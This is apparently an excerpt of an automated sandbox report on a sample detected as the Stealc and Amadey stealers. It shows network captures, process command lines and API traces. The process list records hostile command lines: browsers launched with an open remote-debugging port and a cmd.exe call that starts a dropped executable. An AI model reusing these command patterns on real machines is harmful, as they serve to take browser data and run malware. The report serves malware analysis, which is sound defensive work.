2024-11-25 13:15:05 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	49926	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:15:04 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:15:05 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:15:05 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 0cd55988-601e-003e-4d0c-3d3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131505Z-178bfbc474btvfdfhC1NYCa2en00000007ng000000004w3p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:15:05 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	49928	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:15:05 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:15:05 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:15:05 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131505Z-174c587ffdfb74xqhC1TEBhabc000000060000000000a34r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:15:05 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	49929	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:15:05 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:15:06 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:15:05 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: d30a2094-501e-0029-7248-3dd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131505Z-15b8b599d889gj5whC1TEBfyk000000005ug000000009gzq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:15:06 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	49932	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:15:07 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:15:07 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:15:07 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: e04d5a2d-b01e-003d-70c1-3ed32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131507Z-178bfbc474bv7whqhC1NYC1fg400000007eg00000000dpr6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:15:07 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49931	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:15:07 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:15:07 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:15:07 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: aa1ebe18-101e-0017-5340-3c47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131507Z-15b8b599d889gj5whC1TEBfyk000000005q000000000mba8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:15:07 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Target ID:	0
Start time:	08:14:03
Start date:	25/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xb70000
File size:	1'837'056 bytes
MD5 hash:	989618B54CBE6D89C30AA67FE52FC62B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2609368530.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2078634280.0000000005130000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2610315504.00000000012DE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:14:15
Start date:	25/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	08:14:17
Start date:	25/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2328 --field-trial-handle=2088,i,5255872379599629951,10500991351914301352,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	08:14:26
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:14:26
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2356 --field-trial-handle=2240,i,17622548424689427494,13859215189802063868,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:14:26
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	08:14:27
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2328 --field-trial-handle=2032,i,6433409759006642322,9348370471723550522,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	08:14:31
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6396 --field-trial-handle=2032,i,6433409759006642322,9348370471723550522,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	08:14:31
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6600 --field-trial-handle=2032,i,6433409759006642322,9348370471723550522,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	08:14:55
Start date:	25/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsBKKKFCFIIJ.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	08:14:55
Start date:	25/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	08:14:55
Start date:	25/11/2024
Path:	C:\Users\user\DocumentsBKKKFCFIIJ.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsBKKKFCFIIJ.exe"
Imagebase:	0xc40000
File size:	1'845'248 bytes
MD5 hash:	DDC85728E0670438B6AA74BD2C9C461B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000003.2608680907.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.2702346163.0000000000C41000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	08:15:00
Start date:	25/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x7d0000
File size:	1'845'248 bytes
MD5 hash:	DDC85728E0670438B6AA74BD2C9C461B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.2698524505.00000000007D1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000003.2658241854.0000000005280000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	08:15:04
Start date:	25/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x7d0000
File size:	1'845'248 bytes
MD5 hash:	DDC85728E0670438B6AA74BD2C9C461B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000003.2697600061.0000000004ED0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000002.2737962556.00000000007D1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	08:15:27
Start date:	25/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5844 --field-trial-handle=2032,i,6433409759006642322,9348370471723550522,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	08:16:00
Start date:	25/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x7d0000
File size:	1'845'248 bytes
MD5 hash:	DDC85728E0670438B6AA74BD2C9C461B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000002.3323463061.00000000007D1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000003.3249416176.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C4D35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C55F688,00001000), ref: 6C4D35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C4D35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C4D35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C4D363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C4D369F
__aulldiv.LIBCMT ref: 6C4D36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C4D3773
EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4D377E
LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4D37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C4D37C4
EnterCriticalSection.KERNEL32(6C55F688), ref: 6C4D37CB
LeaveCriticalSection.KERNEL32(6C55F688), ref: 6C4D3801
__aulldiv.LIBCMT ref: 6C4D3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C4D3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C4D3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C4D394C

Strings

QPC, xrefs: 6C4D38FC
GTC, xrefs: 6C4D3912
AuthcAMDenti, xrefs: 6C4D3946
GenuntelineI, xrefs: 6C4D3639
MOZ_TIMESTAMP_MODE, xrefs: 6C4D35DB

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 154eb6a18c9d98a79f58d991c35f3955437efe96b466d544edf1895e877b6a1e
Instruction ID: d69a3b7f6e575d2c01b89d5b92c17a87622fa83b3f866037841364b4a7d22862
Opcode Fuzzy Hash: 154eb6a18c9d98a79f58d991c35f3955437efe96b466d544edf1895e877b6a1e
Instruction Fuzzy Hash: 11B1C671B053109FDB08EF28CC54B1A7BF5BB89704F468A2EE899D7790D774A804CB95

Function 6C4EC930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C4EC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C4EC969
GetSystemInfo.KERNEL32(?), ref: 6C4EC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C4EC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C4EC9E2

Memory Dump Source

Source File: 00000000.00000002.2643966077.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2643868421.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644437592.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644517761.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2644628544.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

